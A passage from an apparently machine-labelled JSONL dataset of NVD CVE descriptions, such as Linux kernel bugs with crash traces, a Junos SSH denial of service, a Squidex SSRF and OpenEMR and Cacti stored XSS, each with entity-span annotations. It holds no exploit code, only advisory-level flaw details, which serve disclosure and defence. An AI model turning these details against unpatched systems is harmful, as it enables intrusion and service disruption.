(do_mmap+0x50/0x58)\n   (do_mmap) from (vm_mmap_pgoff+0xfc/0x188)\n   (vm_mmap_pgoff) from (ksys_mmap_pgoff+0xac/0xc4)\n   (ksys_mmap_pgoff) from (ret_fast_syscall+0x0/0x5c)\n  Code: e0801001 e2423001 e1c00003 f57ff04f (ee070f3e)\n  ---[ end trace 09cf0734c3805d52 ]---\n  Kernel panic - not syncing: Fatal exception\n\nSo check if PG_reserved was set to solve this issue.\n\n[1]: https://lore.kernel.org/lkml/Zbtdue57RO0QScJM@linux.ibm.com/", "spans": {"URL: https://lore.kernel.org/lkml/Zbtdue57RO0QScJM@linux.ibm.com/": [[1681, 1741]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26947"}}
{"text": "A Missing Release of Resource after Effective Lifetime vulnerability the xinetd process, responsible for spawning SSH daemon (sshd) instances, of Juniper Networks Junos OS Evolved allows an unauthenticated network-based attacker to cause a Denial of Service (DoS) by blocking SSH access for legitimate users.  Continued receipt of these connections will create a sustained Denial of Service (DoS) condition.\n\nThe issue is triggered when a high rate of concurrent SSH requests are received and terminated in a specific way, causing xinetd to crash, and leaving defunct sshd processes. Successful exploitation of this vulnerability blocks both SSH access as well as services which rely upon SSH, such as SFTP, and Netconf over SSH.\n\nOnce the system is in this state, legitimate users will be unable to SSH to the device until service is manually restored.  See WORKAROUND section below.\n\nAdministrators can monitor an increase in defunct sshd processes by utilizing the CLI command:\n\n  > show system processes | match sshd\n  root     25219 30901  0 Jul16 ?        00:00:00 [sshd] <defunct>\n\nThis issue affects Juniper Networks Junos OS Evolved:\n  *  All versions prior to 21.4R3-S7-EVO\n  *  22.3-EVO versions prior to 22.3R2-S2-EVO, 22.3R3-S2-EVO;\n  *  22.4-EVO versions prior to 22.4R3-EVO;\n  *  23.2-EVO versions prior to 23.2R2-EVO.\n\n\n\nThis issue does not affect Juniper Networks Junos OS Evolved 22.1-EVO nor 22.2-EVO.", "spans": {"ORGANIZATION: Juniper": [[146, 153], [1108, 1115], [1364, 1371]], "VULNERABILITY: Denial of Service": [[240, 257], [373, 390]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-39562"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. An attacker can read data outside of bounds of heap allocated buffer in `tf.raw_ops.QuantizeAndDequantizeV3`. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/11ff7f80667e6490d7b5174aa6bf5e01886e770f/tensorflow/core/kernels/quantize_and_dequantize_op.cc#L237) does not validate the value of user supplied `axis` attribute before using it to index in the array backing the `input` argument. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/11ff7f80667e6490d7b5174aa6bf5e01886e770f/tensorflow/core/kernels/quantize_and_dequantize_op.cc#L237": [[216, 361]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29553"}}
{"text": "Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Hotspot).  Supported versions that are affected are Oracle Java SE: 8u411, 8u411-perf, 11.0.23, 17.0.11, 21.0.3, 22.0.1; Oracle GraalVM for JDK: 17.0.11, 21.0.3, 22.0.1; Oracle GraalVM Enterprise Edition: 20.3.14 and  21.3.10. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data as well as  unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).", "spans": {"SYSTEM: Java": [[28, 32], [113, 117], [192, 196], [491, 495], [702, 706], [867, 871], [1131, 1135], [1188, 1192], [1229, 1233], [1334, 1338]], "ORGANIZATION: Oracle": [[21, 27], [37, 43], [61, 67], [106, 112], [185, 191], [254, 260], [303, 309], [484, 490], [500, 506], [524, 530], [695, 701], [711, 717], [735, 741], [860, 866], [876, 882], [900, 906]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-21147"}}
{"text": "Cleartext Storage of Sensitive Information vulnerability in Mitsubishi Electric GENESIS64 versions 10.97.3 and prior, Mitsubishi Electric ICONICS Suite versions 10.97.3 and prior, Mitsubishi Electric MobileHMI versions 10.97.3 and prior, Mitsubishi Electric Hyper Historian versions 10.97.3 and prior, Mitsubishi Electric AnalytiX versions 10.97.3 and prior, Mitsubishi Electric GENESIS versions 11.02 and prior, Mitsubishi Electric MC Works64 all versions, Mitsubishi Electric Iconics Digital Solutions GENESIS64 versions 10.97.3 and prior, Mitsubishi Electric Iconics Digital Solutions ICONICS Suite versions 10.97.3 and prior, Mitsubishi Electric Iconics Digital Solutions MobileHMI versions 10.97.3 and prior, Mitsubishi Electric Iconics Digital Solutions Hyper Historian versions 10.97.3 and prior, Mitsubishi Electric Iconics Digital Solutions AnalytiX versions 10.97.3 and prior, and Mitsubishi Electric Iconics Digital Solutions GENESIS versions 11.02 and prior allows a local attacker to disclose the SQL Server credentials stored in plaintext within the local SQLite file by exploiting this vulnerability, when the local caching feature using SQLite is enabled and SQL authentication is used for the SQL Server authentication. As a result, the unauthorized attacker could access the SQL Server and disclose, tamper with, or destroy data on the server, potentially cause a denial-of-service (DoS) condition on the system.", "spans": {"SYSTEM: SQLite": [[1070, 1076], [1153, 1159]], "VULNERABILITY: denial-of-service": [[1382, 1399]], "VULNERABILITY: Cleartext Storage": [[0, 17]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-14815"}}
{"text": "express-rate-limit is a basic rate-limiting middleware for Express. In versions starting from 8.0.0 and prior to versions 8.0.2, 8.1.1, 8.2.2, and 8.3.0, the default keyGenerator in express-rate-limit applies IPv6 subnet masking (/56 by default) to all addresses that net.isIPv6() returns true for. This includes IPv4-mapped IPv6 addresses (::ffff:x.x.x.x), which Node.js returns as request.ip on dual-stack servers. Because the first 80 bits of all IPv4-mapped addresses are zero, a /56 (or any /32 to /80) subnet mask produces the same network key (::/56) for every IPv4 client. This collapses all IPv4 traffic into a single rate-limit bucket: one client exhausting the limit causes HTTP 429 for all other IPv4 clients. This issue has been patched in versions 8.0.2, 8.1.1, 8.2.2, and 8.3.0.", "spans": {"FILEPATH: Node.js": [[364, 371]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-30827"}}
{"text": "This vulnerability allows remote attackers to disclose sensitive information on affected installations of Foxit Studio Photo 3.6.6.922. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the handling of NEF files. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated structure. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of the current process. Was ZDI-CAN-11193.", "spans": {"IP_ADDRESS: 3.6.6.922": [[125, 134]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-17420"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. TFlite graphs must not have loops between nodes. However, this condition was not checked and an attacker could craft models that would result in infinite loop during evaluation. In certain cases, the infinite loop would be replaced by stack overflow due to too many recursive calls. For example, the `While` implementation(https://github.com/tensorflow/tensorflow/blob/106d8f4fb89335a2c52d7c895b7a7485465ca8d9/tensorflow/lite/kernels/while.cc) could be tricked into a scneario where both the body and the loop subgraphs are the same. Evaluating one of the subgraphs means calling the `Eval` function for the other and this quickly exhaust all stack space. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. Please consult our security guide(https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/106d8f4fb89335a2c52d7c895b7a7485465ca8d9/tensorflow/lite/kernels/while.cc": [[394, 513]], "URL: https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md": [[978, 1042]], "VULNERABILITY: stack overflow": [[306, 320]], "VULNERABILITY: infinite loop": [[216, 229], [271, 284]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29591"}}
{"text": "This vulnerability allows remote attackers to disclose sensitive information on affected installations of CentOS Web Panel cwp-e17.0.9.8.923. Authentication is not required to exploit this vulnerability. The specific flaw exists within ajax_mail_autoreply.php. When parsing the user parameter, the process does not properly validate a user-supplied string before using it to construct SQL queries. An attacker can leverage this vulnerability to disclose information in the context of root. Was ZDI-CAN-9710.", "spans": {"IP_ADDRESS: 0.9.8.923": [[131, 140]], "FILEPATH: ajax_mail_autoreply.php": [[236, 259]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15628"}}
{"text": "OpenEMR is a free and open source electronic health records and medical practice management application. Prior to version 8.0.0, users with the \"Forms administration\" role can fill questionnaires (\"forms\") in patient encounters. The answers to the forms are displayed on the encounter page and in the visit history for the users with the same role. There exists a stored cross-site scripting (XSS) vulnerability in the function to display the form answers, allowing any authenticated attacker with the specific role to insert arbitrary JavaScript into the system by entering malicious payloads to the form answers. The JavaScript code is later executed by any user with the form role when viewing the form answers in the patient encounter pages or visit history. Version 8.0.0 fixes the issue.", "spans": {"VULNERABILITY: cross-site scripting": [[371, 391]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-25743"}}
{"text": "Cacti is an open source operational monitoring and fault management framework. Affected versions are subject to a Stored Cross-Site-Scripting (XSS) Vulnerability which allows an authenticated user to poison data stored in the _cacti_'s database. These data will be viewed by administrative _cacti_ accounts and execute JavaScript code in the victim's browser at view-time. The script under `data_sources.php` displays the data source management information (e.g. data source path, polling configuration etc.) for different data visualizations of the _cacti_ app. CENSUS found that an adversary that is able to configure a malicious data-source path, can deploy a stored XSS attack against any user of the same (or broader) privileges. A user that possesses the 'General Administration>Sites/Devices/Data' permissions can configure the data source path in Cacti. This configuration occurs through `http://<HOST>/cacti/data_sources.php`. The same page can be used for previewing the data source path. This issue has been addressed in version 1.2.25. Users are advised to upgrade. Users unable to upgrade should manually escape HTML output.", "spans": {"FILEPATH: /Devices/Data": [[790, 803]], "FILEPATH: /cacti/data_sources.php": [[910, 933]], "FILEPATH: data_sources.php": [[391, 407]], "VULNERABILITY: stored XSS": [[663, 673]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-39516"}}
{"text": "An issue was discovered in a third-party component related to vendor.gsm.serial, shipped on devices from multiple device manufacturers. Various software builds for the BLU View 2, Boost Mobile Celero 5G, Sharp Rouvo V, Motorola Moto G Pure, Motorola Moto G Power, T-Mobile Revvl 6 Pro 5G, and T-Mobile Revvl V+ 5G devices leak the device serial number to a system property that can be accessed by any local app on the device without any permissions or special privileges. Google restricted third-party apps from directly obtaining non-resettable device identifiers in Android 10 and higher, but in these instances they are leaked by a high-privilege process and can be obtained indirectly. The software build fingerprints for each confirmed vulnerable device are as follows: BLU View 2 (BLU/B131DL/B130DL:11/RP1A.200720.011/1672046950:user/release-keys); Boost Mobile Celero 5G (Celero5G/Jupiter/Jupiter:11/RP1A.200720.011/SW_S98119AA1_V067:user/release-keys); Sharp Rouvo V (SHARP/VZW_STTM21VAPP/STTM21VAPP:12/SP1A.210812.016/1KN0_0_530:user/release-keys); Motorola Moto G Pure (motorola/ellis_trac/ellis:11/RRHS31.Q3-46-110-2/74844:user/release-keys, motorola/ellis_trac/ellis:11/RRHS31.Q3-46-110-7/5cde8:user/release-keys, motorola/ellis_trac/ellis:11/RRHS31.Q3-46-110-10/d67faa:user/release-keys, motorola/ellis_trac/ellis:11/RRHS31.Q3-46-110-13/b4a29:user/release-keys, motorola/ellis_trac/ellis:12/S3RH32.20-42-10/1c2540:user/release-keys, motorola/ellis_trac/ellis:12/S3RHS32.20-42-13-2-1/6368dd:user/release-keys, motorola/ellis_a/ellis:11/RRH31.Q3-46-50-2/20fec:user/release-keys, motorola/ellis_vzw/ellis:11/RRH31.Q3-46-138/103bd:user/release-keys, motorola/ellis_vzw/ellis:11/RRHS31.Q3-46-138-2/e5502:user/release-keys, and motorola/ellis_vzw/ellis:12/S3RHS32.20-42-10-14-2/5e0b0:user/release-keys); Motorola Moto G Power (motorola/tonga_g/tonga:11/RRQ31.Q3-68-16-2/e5877:user/release-keys and motorola/tonga_g/tonga:12/S3RQS32.20-42-10-6/f876d3:user/release-keys); T-Mobile Revvl 6 Pro 5G (T-Mobile/Augusta/Augusta:12/SP1A.210812.016/SW_S98121AA1_V070:user/release-keys); and T-Mobile Revvl V+ 5G (T-Mobile/Sprout/Sprout:11/RP1A.200720.011/SW_S98115AA1_V077:user/release-keys). This malicious app reads from the \"vendor.gsm.serial\" system property to indirectly obtain the device serial number.", "spans": {"FILEPATH: /B131DL/B130DL": [[790, 804]], "FILEPATH: /RP1A.200720.011/1672046950": [[807, 834]], "FILEPATH: /Jupiter/Jupiter": [[887, 903]], "FILEPATH: /RP1A.200720.011/SW_S98119AA1_V067": [[906, 940]], "FILEPATH: /VZW_STTM21VAPP/STTM21VAPP": [[981, 1007]], "FILEPATH: /SP1A.210812.016/1KN0_0_530": [[1010, 1037]], "FILEPATH: /ellis_trac/ellis": [[1088, 1105], [1161, 1178], [1234, 1251], [1309, 1326], [1383, 1400], [1454, 1471]], "FILEPATH: /RRHS31.Q3-46-110-2/74844": [[1108, 1133]], "FILEPATH: /RRHS31.Q3-46-110-7/5cde8": [[1181, 1206]], "FILEPATH: /RRHS31.Q3-46-110-10/d67faa": [[1254, 1281]], "FILEPATH: /RRHS31.Q3-46-110-13/b4a29": [[1329, 1355]], "FILEPATH: /S3RH32.20-42-10/1c2540": [[1403, 1426]], "FILEPATH: /S3RHS32.20-42-13-2-1/6368dd": [[1474, 1502]], "FILEPATH: /ellis_a/ellis": [[1530, 1544]], "FILEPATH: /RRH31.Q3-46-50-2/20fec": [[1547, 1570]], "FILEPATH: /ellis_vzw/ellis": [[1598, 1614], [1667, 1683], [1743, 1759]], "FILEPATH: /RRH31.Q3-46-138/103bd": [[1617, 1639]], "FILEPATH: /RRHS31.Q3-46-138-2/e5502": [[1686, 1711]], "FILEPATH: /S3RHS32.20-42-10-14-2/5e0b0": [[1762, 1790]], "FILEPATH: /tonga_g/tonga": [[1842, 1856], [1913, 1927]], "FILEPATH: /RRQ31.Q3-68-16-2/e5877": [[1859, 1882]], "FILEPATH: /S3RQS32.20-42-10-6/f876d3": [[1930, 1956]], "FILEPATH: /Augusta/Augusta": [[2010, 2026]], "FILEPATH: /SP1A.210812.016/SW_S98121AA1_V070": [[2029, 2063]], "FILEPATH: /Sprout/Sprout": [[2118, 2132]], "FILEPATH: /RP1A.200720.011/SW_S98115AA1_V077": [[2135, 2169]], "SYSTEM: Android": [[568, 575]], "ORGANIZATION: Google": [[472, 478]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-38301"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: atlantic: remove aq_nic_deinit() when resume\n\naq_nic_deinit() has been called while suspending, so we don't have to call\nit again on resume.\nActually, call it again leads to another hang issue when resuming from\nS3.\n\nJul 8 03:09:44 u-Precision-7865-Tower kernel: [ 5910.992345] Call Trace:\nJul 8 03:09:44 u-Precision-7865-Tower kernel: [ 5910.992346] <TASK>\nJul 8 03:09:44 u-Precision-7865-Tower kernel: [ 5910.992348] aq_nic_deinit+0xb4/0xd0 [atlantic]\nJul 8 03:09:44 u-Precision-7865-Tower kernel: [ 5910.992356] aq_pm_thaw+0x7f/0x100 [atlantic]\nJul 8 03:09:44 u-Precision-7865-Tower kernel: [ 5910.992362] pci_pm_resume+0x5c/0x90\nJul 8 03:09:44 u-Precision-7865-Tower kernel: [ 5910.992366] ? pci_pm_thaw+0x80/0x80\nJul 8 03:09:44 u-Precision-7865-Tower kernel: [ 5910.992368] dpm_run_callback+0x4e/0x120\nJul 8 03:09:44 u-Precision-7865-Tower kernel: [ 5910.992371] device_resume+0xad/0x200\nJul 8 03:09:44 u-Precision-7865-Tower kernel: [ 5910.992373] async_resume+0x1e/0x40\nJul 8 03:09:44 u-Precision-7865-Tower kernel: [ 5910.992374] async_run_entry_fn+0x33/0x120\nJul 8 03:09:44 u-Precision-7865-Tower kernel: [ 5910.992377] process_one_work+0x220/0x3c0\nJul 8 03:09:44 u-Precision-7865-Tower kernel: [ 5910.992380] worker_thread+0x4d/0x3f0\nJul 8 03:09:44 u-Precision-7865-Tower kernel: [ 5910.992382] ? process_one_work+0x3c0/0x3c0\nJul 8 03:09:44 u-Precision-7865-Tower kernel: [ 5910.992384] kthread+0x12a/0x150\nJul 8 03:09:44 u-Precision-7865-Tower kernel: [ 5910.992386] ? set_kthread_struct+0x40/0x40\nJul 8 03:09:44 u-Precision-7865-Tower kernel: [ 5910.992387] ret_from_fork+0x22/0x30\nJul 8 03:09:44 u-Precision-7865-Tower kernel: [ 5910.992391] </TASK>\nJul 8 03:09:44 u-Precision-7865-Tower kernel: [ 5910.992392] ---[ end trace 1ec8c79604ed5e0d ]---\nJul 8 03:09:44 u-Precision-7865-Tower kernel: [ 5910.992394] PM: dpm_run_callback(): pci_pm_resume+0x0/0x90 returns -110\nJul 8 03:09:44 u-Precision-7865-Tower kernel: [ 5910.992397] atlantic 0000:02:00.0: PM: failed to resume async: error -110", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49624"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5: Fix command stats access after free\n\nCommand may fail while driver is reloading and can't accept FW commands\ntill command interface is reinitialized. Such command failure is being\nlogged to command stats. This results in NULL pointer access as command\nstats structure is being freed and reallocated during mlx5 devlink\nreload (see kernel log below).\n\nFix it by making command stats statically allocated on driver probe.\n\nKernel log:\n[ 2394.808802] BUG: unable to handle kernel paging request at 000000000002a9c0\n[ 2394.810610] PGD 0 P4D 0\n[ 2394.811811] Oops: 0002 [#1] SMP NOPTI\n...\n[ 2394.815482] RIP: 0010:native_queued_spin_lock_slowpath+0x183/0x1d0\n...\n[ 2394.829505] Call Trace:\n[ 2394.830667]  _raw_spin_lock_irq+0x23/0x26\n[ 2394.831858]  cmd_status_err+0x55/0x110 [mlx5_core]\n[ 2394.833020]  mlx5_access_reg+0xe7/0x150 [mlx5_core]\n[ 2394.834175]  mlx5_query_port_ptys+0x78/0xa0 [mlx5_core]\n[ 2394.835337]  mlx5e_ethtool_get_link_ksettings+0x74/0x590 [mlx5_core]\n[ 2394.836454]  ? kmem_cache_alloc_trace+0x140/0x1c0\n[ 2394.837562]  __rh_call_get_link_ksettings+0x33/0x100\n[ 2394.838663]  ? __rtnl_unlock+0x25/0x50\n[ 2394.839755]  __ethtool_get_link_ksettings+0x72/0x150\n[ 2394.840862]  duplex_show+0x6e/0xc0\n[ 2394.841963]  dev_attr_show+0x1c/0x40\n[ 2394.843048]  sysfs_kf_seq_show+0x9b/0x100\n[ 2394.844123]  seq_read+0x153/0x410\n[ 2394.845187]  vfs_read+0x91/0x140\n[ 2394.846226]  ksys_read+0x4f/0xb0\n[ 2394.847234]  do_syscall_64+0x5b/0x1a0\n[ 2394.848228]  entry_SYSCALL_64_after_hwframe+0x65/0xca", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48884"}}
{"text": "Vulnerability in the Oracle Cloud Infrastructure Storage Gateway product of Oracle Storage Gateway (component: Management Console). The supported version that is affected is Prior to 1.4. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Cloud Infrastructure Storage Gateway. While the vulnerability is in Oracle Cloud Infrastructure Storage Gateway, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in takeover of Oracle Cloud Infrastructure Storage Gateway. Note: Updating the Oracle Cloud Infrastructure Storage Gateway to version 1.4 or later will address these vulnerabilities. Download the latest version of Oracle Cloud Infrastructure Storage Gateway from <a href=\" https://www.oracle.com/downloads/cloud/oci-storage-gateway-downloads.html\">here. Refer to Document <a href=\"https://support.oracle.com/rs?type=doc&id=2768897.1\">2768897.1 for more details. CVSS 3.1 Base Score 9.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).", "spans": {"URL: https://www.oracle.com/downloads/cloud/oci-storage-gateway-downloads.html": [[795, 868]], "URL: https://support.oracle.com/rs?type=doc&id=2768897.1": [[903, 954]], "ORGANIZATION: Oracle": [[21, 27], [76, 82], [296, 302], [371, 377], [537, 543], [601, 607], [736, 742]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-2320"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndmaengine: xilinx: xdma: Fix regmap max_register\n\nThe max_register field is assigned the size of the register memory\nregion instead of the offset of the last register.\nThe result is that reading from the regmap via debugfs can cause\na segmentation fault:\n\ntail /sys/kernel/debug/regmap/xdma.1.auto/registers\nUnable to handle kernel paging request at virtual address ffff800082f70000\nMem abort info:\n  ESR = 0x0000000096000007\n  EC = 0x25: DABT (current EL), IL = 32 bits\n  SET = 0, FnV = 0\n  EA = 0, S1PTW = 0\n  FSC = 0x07: level 3 translation fault\n[...]\nCall trace:\n regmap_mmio_read32le+0x10/0x30\n _regmap_bus_reg_read+0x74/0xc0\n _regmap_read+0x68/0x198\n regmap_read+0x54/0x88\n regmap_read_debugfs+0x140/0x380\n regmap_map_read_file+0x30/0x48\n full_proxy_read+0x68/0xc8\n vfs_read+0xcc/0x310\n ksys_read+0x7c/0x120\n __arm64_sys_read+0x24/0x40\n invoke_syscall.constprop.0+0x64/0x108\n do_el0_svc+0xb0/0xd8\n el0_svc+0x38/0x130\n el0t_64_sync_handler+0x120/0x138\n el0t_64_sync+0x194/0x198\nCode: aa1e03e9 d503201f f9400000 8b214000 (b9400000)\n---[ end trace 0000000000000000 ]---\nnote: tail[1217] exited with irqs disabled\nnote: tail[1217] exited with preempt_count 1\nSegmentation fault", "spans": {"FILEPATH: /sys/kernel/debug/regmap/xdma.1.auto/registers": [[330, 376]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-71195"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix deadlock when cloning inline extents and using qgroups\n\nThere are a few exceptional cases where cloning an inline extent needs to\ncopy the inline extent data into a page of the destination inode.\n\nWhen this happens, we end up starting a transaction while having a dirty\npage for the destination inode and while having the range locked in the\ndestination's inode iotree too. Because when reserving metadata space\nfor a transaction we may need to flush existing delalloc in case there is\nnot enough free space, we have a mechanism in place to prevent a deadlock,\nwhich was introduced in commit 3d45f221ce627d (\"btrfs: fix deadlock when\ncloning inline extent and low on free metadata space\").\n\nHowever when using qgroups, a transaction also reserves metadata qgroup\nspace, which can also result in flushing delalloc in case there is not\nenough available space at the moment. When this happens we deadlock, since\nflushing delalloc requires locking the file range in the inode's iotree\nand the range was already locked at the very beginning of the clone\noperation, before attempting to start the transaction.\n\nWhen this issue happens, stack traces like the following are reported:\n\n  [72747.556262] task:kworker/u81:9   state:D stack:    0 pid:  225 ppid:     2 flags:0x00004000\n  [72747.556268] Workqueue: writeback wb_workfn (flush-btrfs-1142)\n  [72747.556271] Call Trace:\n  [72747.556273]  __schedule+0x296/0x760\n  [72747.556277]  schedule+0x3c/0xa0\n  [72747.556279]  io_schedule+0x12/0x40\n  [72747.556284]  __lock_page+0x13c/0x280\n  [72747.556287]  ? generic_file_readonly_mmap+0x70/0x70\n  [72747.556325]  extent_write_cache_pages+0x22a/0x440 [btrfs]\n  [72747.556331]  ? __set_page_dirty_nobuffers+0xe7/0x160\n  [72747.556358]  ? set_extent_buffer_dirty+0x5e/0x80 [btrfs]\n  [72747.556362]  ? update_group_capacity+0x25/0x210\n  [72747.556366]  ? cpumask_next_and+0x1a/0x20\n  [72747.556391]  extent_writepages+0x44/0xa0 [btrfs]\n  [72747.556394]  do_writepages+0x41/0xd0\n  [72747.556398]  __writeback_single_inode+0x39/0x2a0\n  [72747.556403]  writeback_sb_inodes+0x1ea/0x440\n  [72747.556407]  __writeback_inodes_wb+0x5f/0xc0\n  [72747.556410]  wb_writeback+0x235/0x2b0\n  [72747.556414]  ? get_nr_inodes+0x35/0x50\n  [72747.556417]  wb_workfn+0x354/0x490\n  [72747.556420]  ? newidle_balance+0x2c5/0x3e0\n  [72747.556424]  process_one_work+0x1aa/0x340\n  [72747.556426]  worker_thread+0x30/0x390\n  [72747.556429]  ? create_worker+0x1a0/0x1a0\n  [72747.556432]  kthread+0x116/0x130\n  [72747.556435]  ? kthread_park+0x80/0x80\n  [72747.556438]  ret_from_fork+0x1f/0x30\n\n  [72747.566958] Workqueue: btrfs-flush_delalloc btrfs_work_helper [btrfs]\n  [72747.566961] Call Trace:\n  [72747.566964]  __schedule+0x296/0x760\n  [72747.566968]  ? finish_wait+0x80/0x80\n  [72747.566970]  schedule+0x3c/0xa0\n  [72747.566995]  wait_extent_bit.constprop.68+0x13b/0x1c0 [btrfs]\n  [72747.566999]  ? finish_wait+0x80/0x80\n  [72747.567024]  lock_extent_bits+0x37/0x90 [btrfs]\n  [72747.567047]  btrfs_invalidatepage+0x299/0x2c0 [btrfs]\n  [72747.567051]  ? find_get_pages_range_tag+0x2cd/0x380\n  [72747.567076]  __extent_writepage+0x203/0x320 [btrfs]\n  [72747.567102]  extent_write_cache_pages+0x2bb/0x440 [btrfs]\n  [72747.567106]  ? update_load_avg+0x7e/0x5f0\n  [72747.567109]  ? enqueue_entity+0xf4/0x6f0\n  [72747.567134]  extent_writepages+0x44/0xa0 [btrfs]\n  [72747.567137]  ? enqueue_task_fair+0x93/0x6f0\n  [72747.567140]  do_writepages+0x41/0xd0\n  [72747.567144]  __filemap_fdatawrite_range+0xc7/0x100\n  [72747.567167]  btrfs_run_delalloc_work+0x17/0x40 [btrfs]\n  [72747.567195]  btrfs_work_helper+0xc2/0x300 [btrfs]\n  [72747.567200]  process_one_work+0x1aa/0x340\n  [72747.567202]  worker_thread+0x30/0x390\n  [72747.567205]  ? create_worker+0x1a0/0x1a0\n  [72747.567208]  kthread+0x116/0x130\n  [72747.567211]  ? kthread_park+0x80/0x80\n  [72747.567214]  ret_from_fork+0x1f/0x30\n\n  [72747.569686] task:fsstress        state:D stack:    \n---truncated---", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-46987"}}
{"text": "Squidex is an open source headless content management system and content management hub. Versions of the application up to and including 7.21.0 allow users to define \"Webhooks\" as actions within the Rules engine. The url parameter in the webhook configuration does not appear to validate or restrict destination IP addresses. It accepts local addresses such as 127.0.0.1 or localhost. When a rule is triggered (Either manual trigger by manually calling the trigger endpoint or by a content update or any other triggers), the backend server executes an HTTP request to the user-supplied URL. Crucially, the server logs the full HTTP response in the rule execution log (lastDump field), which is accessible via the API. Which turns a \"Blind\" SSRF into a \"Full Read\" SSRF. As of time of publication, no patched versions are available.", "spans": {"IP_ADDRESS: 127.0.0.1": [[361, 370]], "VULNERABILITY: SSRF": [[740, 744], [764, 768]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-24736"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmemcg: fix possible use-after-free in memcg_write_event_control()\n\nmemcg_write_event_control() accesses the dentry->d_name of the specified\ncontrol fd to route the write call.  As a cgroup interface file can't be\nrenamed, it's safe to access d_name as long as the specified file is a\nregular cgroup file.  Also, as these cgroup interface files can't be\nremoved before the directory, it's safe to access the parent too.\n\nPrior to 347c4a874710 (\"memcg: remove cgroup_event->cft\"), there was a\ncall to __file_cft() which verified that the specified file is a regular\ncgroupfs file before further accesses.  The cftype pointer returned from\n__file_cft() was no longer necessary and the commit inadvertently dropped\nthe file type check with it allowing any file to slip through.  With the\ninvarients broken, the d_name and parent accesses can now race against\nrenames and removals of arbitrary files and cause use-after-free's.\n\nFix the bug by resurrecting the file type check in __file_cft().  Now that\ncgroupfs is implemented through kernfs, checking the file operations needs\nto go through a layer of indirection.  Instead, let's check the superblock\nand dentry type.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[89, 103], [974, 988]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48988"}}
{"text": "opj_t1_clbl_decode_processor in openjp2/t1.c in OpenJPEG 2.3.1 through 2020-01-28 has a heap-based buffer overflow in the qmfbid==1 case, a different issue than CVE-2020-6851.", "spans": {"CVE_ID: CVE-2020-6851": [[161, 174]], "FILEPATH: t1.c": [[40, 44]], "VULNERABILITY: heap-based buffer overflow": [[88, 114]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-8112"}}
